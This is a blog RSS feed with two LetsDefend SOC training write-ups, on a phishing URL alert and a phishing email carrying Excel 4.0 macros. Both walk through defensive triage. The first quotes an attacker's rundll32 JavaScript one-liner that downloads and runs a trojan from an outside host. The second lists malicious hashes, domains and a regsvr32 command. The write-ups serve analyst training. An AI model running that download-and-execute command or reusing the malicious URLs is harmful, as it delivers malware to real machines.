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        <title><![CDATA[Stories by Ahliman Abbasov on Medium]]></title>
        <description><![CDATA[Stories by Ahliman Abbasov on Medium]]></description>
        <link>https://medium.com/@ahliman573?source=rss-768e34d9ece4------2</link>
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            <title>Stories by Ahliman Abbasov on Medium</title>
            <link>https://medium.com/@ahliman573?source=rss-768e34d9ece4------2</link>
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            <title><![CDATA[LetsDefend: SOC141 — Phishing URL Detected]]></title>
            <link>https://medium.com/@ahliman573/letsdefend-soc141-phishing-url-detected-c7f18a0d7b40?source=rss-768e34d9ece4------2</link>
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            <dc:creator><![CDATA[Ahliman Abbasov]]></dc:creator>
            <pubDate>Sun, 09 Nov 2025 14:18:14 GMT</pubDate>
            <atom:updated>2025-11-09T14:18:14.265Z</atom:updated>
            <content:encoded><![CDATA[<h3>LetsDefend: SOC141 — Phishing URL Detected</h3><p>In this write-up we are going to investigate <em>LetsDefend: SOC141 — Phishing URL Detected.</em></p><h4>What is a Phishing URL?</h4><p>A phishing URL is a fake web link created by attackers to look like a real website (such as a bank, email login, or company portal).<br>The goal is to trick people into entering sensitive information, like usernames, passwords, or credit card numbers.</p><p>When someone clicks the link, they are taken to a fake login page or malicious form that sends their information to the attacker.</p><p>The alert:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iR8-sd1exYrcrbu3fEl4UA.png" /></figure><p>From this page, we can understand that some malicious incident has occurred, and it triggered the <em>Phishing URL Detected </em>rule of the SIEM, and we can see some important metadata like: Source Address, Destination Address, Destination Hostname, Requested URL</p><h4>Let’s start the investigation</h4><p>I first tried to analyze the IP and URLs in the alert:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I2bKKoY5GefVii7f88JFcA.png" /><figcaption>The destination IP</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8qjdJpZenMyVsnBt9BruuA.png" /><figcaption>The destination URL</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EWfkhHaJA-VPPbkOHVy0Kg.png" /><figcaption>The requested URL</figcaption></figure><p>The investigation revealed that the destination IP address (91.189.114.8) is not currently flagged as malicious on threat intelligence databases.</p><p>However, both the <strong>requested URL</strong> (<em>http://mogagrocol.ru/wp-content/plugins/akismet/fv/index.php?email=ellie@letsdefend.io</em>) and the <strong>destination URL (</strong><em>mogagrocol.ru</em><strong>) </strong>are reported as <strong>phishing/malicious</strong> by VirusTotal.</p><p>This suggests the IP may belong to a <strong>legitimate hosting provider</strong> that has been <strong>abused or compromised</strong> to host phishing content.</p><p>Based on the URL reputation and observed indicators, this event is confirmed as a <strong>phishing URL detection</strong>.</p><p>In the Log Management, I found that only one IP/host is interacting with the destination.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LiVFjqOwJwbjZLLH9-RdLQ.png" /></figure><p>Lets Analyze the website manually:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D3ANfYBAzNoyJv8x5WUqHA.png" /><figcaption>We got 403 from the website, which is confirms it is phishing email</figcaption></figure><p>Let’s continue the investigation on the endpoint</p><p>While having no useful information on the Browser History and Network Action, the Terminal History and Processes sections contain some suspicious activity.</p><p>It means that the user didn’t visit the phishing link in a web browser; something ran a hidden command that tried to download and run a file from the internet.</p><p>Terminal History and Processes sections show</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*BbW0q6r4Qca8PsVFFTNNzQ.png" /></figure><p>The last log in the Terminal History is</p><pre>rundll32.exe javascript:&#39;../mshtml,RunHTMLApplication &#39;;document.write();GetObject(&#39;script:http://ru-uid-507352920.pp.ru/KBDYAK.exe&#39;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*xF28-iHjUcrhrvLVXxssbw.png" /></figure><p>And, in the Processes section we find unfamiliar file named KBDYAK.exe, which is reported as malicious from a lot of sources</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZYq97jxVY7zvavmPC_z05A.png" /><figcaption>It is Trojan file</figcaption></figure><p>The investigation found that the user’s endpoint executed a malicious command using rundll32.exe.</p><p>This command downloaded and ran KBDYAK.exe from an external server (ru-uid-507352920.pp.ru).</p><p>This technique is used by attackers to run malware using built-in Windows tools and avoid detection.</p><p>Although no browser or network traffic to the phishing URL was seen, the presence of this command and the KBDYAK.exe process confirms a <strong>successful phishing-based malware execution</strong> on the endpoint.</p><p>So the End Point is infected and, we need to contaminate it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*pYPJPPNPycCQqjS6d3-GIg.png" /></figure><p>Let’s go back to the SIEM and close the Case.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tYSnFPYwyHji5mNgR1CkRQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c7f18a0d7b40" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[LetsDefend: SOC146 — Phishing Mail Detected — Excel 4.0 Macros]]></title>
            <link>https://medium.com/@ahliman573/letsdefend-soc146-phishing-mail-detected-excel-4-0-macros-1ce500e5f03e?source=rss-768e34d9ece4------2</link>
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            <dc:creator><![CDATA[Ahliman Abbasov]]></dc:creator>
            <pubDate>Wed, 05 Nov 2025 22:03:30 GMT</pubDate>
            <atom:updated>2025-11-05T22:03:30.506Z</atom:updated>
            <content:encoded><![CDATA[<h3>LetsDefend: SOC146 — Phishing Mail Detected — Excel 4.0 Macros</h3><p>In this write-up we are going to investigate <em>LetsDefend: SOC146 — Phishing Mail Detected — Excel 4.0 Macros alert.</em></p><h4>Before starting to the investigation, let’s learn about Excel 4.0 Macros:</h4><p>Excel 4.0 Macros (also known as XLM macros) are an older macro language introduced by Microsoft in 1992 for automating tasks in Excel before the introduction of VBA (Visual Basic for Applications). Despite their age, XLM macros are still supported for backward compatibility and can be embedded in Excel worksheets using hidden sheets or cells. Because these macros can execute system commands and interact directly with the operating system, they have become a popular vector for malicious activity, especially in phishing campaigns. Threat actors often use Excel 4.0 macros to download and execute payloads, perform reconnaissance, or bypass modern security controls, since their code can be difficult to detect through traditional static analysis.</p><p>The alert we got:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1w5gDaWxUVwara12FAzNGA.png" /></figure><p>From this page, we can understand that some malicious incident has occurred, and it triggered the <em>Phishing Mail Detected — Excel 4.0 Macros </em>rule of the SIEM, and we can see some important metadata like: SMTP Address, Source Address, Destination Address and Email Subject.</p><h4>Let’s start the investigation:</h4><p>Firstly, we need to go and look at the email itself, to do that, we need to go to <em>Email Security</em> and search for the <em>Source Address.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*2iJJaed11LRWntVE_vo-nQ.png" /></figure><p><strong>From here we got a lot of useful information:</strong></p><ul><li><em>From: trenton@tritowncomputers.com</em></li><li><em>To: lars@letsdefend.io</em></li><li><em>Subject: RE: Meeting Notes</em></li><li><em>Attachment: 11f44531fb088d31307d87b01e8eabff.zip</em></li></ul><p>Then we need to download the files in the zip into a isolated environment to analyze, I will use <em>Windows Sandbox</em>.</p><p>After unzipping the zip file, we found 3 files inside of the folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*8axq5YBoyXgvwmz_Nz88Aw.png" /></figure><p>To analyze them easily we need to take each of them hashes and search for it on the Virus Total.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c2h62Z_VMEEGQq0p3db8Ow.png" /></figure><p>So the hashes are:</p><pre>iroto.dll 055B9E9AF987AEC9BA7ADB0EEF947F39B516A213D663CC52A71C7F0AF146A946<br>iroto1.dll E05C717B43F7E204F315EB8C298F9715791385516335ACD8F20EC9E26C3E9B0B<br>research-1646684671.xls 1DF68D55968BB9D2DB4D0D18155188A03A442850FF543C8595166AC6987DF820</pre><p>The Virus Total results show that he files are all malicious:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v11X01NQe_M98tso7H4Thg.png" /><figcaption>iroto.dll</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K5v1rC0KRdYmq747SYuJ_A.png" /><figcaption>iroto1.dll</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6psiybHLIEb8wubKlf2FHg.png" /><figcaption>research-1646684671.xls</figcaption></figure><p>So the results show that, 27 resources say that the dll file is malicious, and 38 resources say that the excel file contains malicious components.</p><p>Here we can use dynamic analysis tools like ANY.RUN to understand how the malicious file behaves in the real world.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7k26iJDOAhdCsBLqItQZlA.png" /><figcaption>The ANY.RUN result shows that there is a malicious activity</figcaption></figure><h4>Behaviour Graph</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*Fg9GLb3V5WmLX7FoEdqnpA.png" /></figure><p>Regsvr32.exe is a built-in Windows tool that’s used to register or unregister DLL files (Dynamic Link Libraries) and ActiveX controls.<br>DLLs are shared files that contain code used by many programs.<br>ActiveX controls are small software components that help display or interact with content, often in browsers or applications.</p><p>When you “register” a DLL with Regsvr32, you’re basically telling Windows where that file is and what it does, so other programs can use it properly.<br>Because Regsvr32 is a legitimate Windows tool and needs administrator rights to make system changes, attackers sometimes abuse it.<br> They can use Regsvr32 to run malicious DLL files in a way that bypasses antivirus or security monitoring, since many security tools trust Regsvr32 as a safe system process.</p><h4>Network Activity</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KlDrJpCLB961yOwHEe4WBA.png" /><figcaption>HTTP Requests</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AOc8y-TlvlZucppaZxWQIQ.png" /><figcaption>Connections</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sL45YRSLVHBNqIk_GaUWXw.png" /><figcaption>DNS Requests</figcaption></figure><p>The EXCEL.EXE file connects with some malicious IP addresess and domains</p><p>Malicious Domains:</p><ul><li>nws.visionconsulting.ro</li><li>royalpalm.sparkblue.lk</li></ul><p>Now, in the Log Management section let’s search for the domains</p><p><em>nws.visionconsulting.ro</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*864yaWWLcTH_0aBREIf_Yw.png" /></figure><p><em>royalpalm.sparkblue.lk</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*XNYJSOndsxHNPa6op5jw-A.png" /></figure><h4>The URLs requested:</h4><ul><li>https://nws.visionconsulting.ro/N1G1KCXA/dot.html</li><li><a href="https://royalpalm.sparkblue.lk/vCNhYrq3Yg8/dot.html">https://royalpalm.sparkblue.lk/vCNhYrq3Yg8/dot.html</a></li></ul><p>Now we need to do investigation on the <strong>User’s side</strong></p><p>Acording to the Log Management the user’s IP is ‘172.16.17.57’, so we need to find the endpoint that has this Ip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EeuZCU15bAw6a2CisDFVkQ.png" /></figure><p>We need to Contaminate the Endpoint to do investigation safely.</p><p>In the Endpoint, Processes section lists all the processes and the malicious process named regsvr32.exe, which is used to run DLL files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*Xe6_yB85MVAdY9JWZ6suSQ.png" /></figure><p>The imprtant thing here is the excel.exe is the parent process, and the command line is regsvr32.exe -s iroto.ddl.</p><p>Network Action section shows us that the computer is connecting with the two malicious IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*WXZ4aCMJin-eEsOJJ8lD3g.png" /></figure><p>In the Terminal History section we see the parent process is running the execution of the both DLL files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jp8j5H-z4o0IRTUYLNvCEA.png" /></figure><p>In this part we can go to the Case Management and answer the needed staff by the Playbook.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3IFlxN_wdDpRGywyOXhKpA.png" /></figure><p><strong>Check If Someone Opened the Malicios File/URL?</strong> <em>Yes</em></p><p><strong>Check If Mail Delivered to User?</strong> <em>Yes</em></p><p><strong>Analyze Url/Attachment:</strong> <em>I did</em></p><p><strong>Are there attachments or URLs in the email? </strong><em>Yes</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Y4cn6IaEujW4dPImwgJaw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ce500e5f03e" width="1" height="1" alt="">]]></content:encoded>
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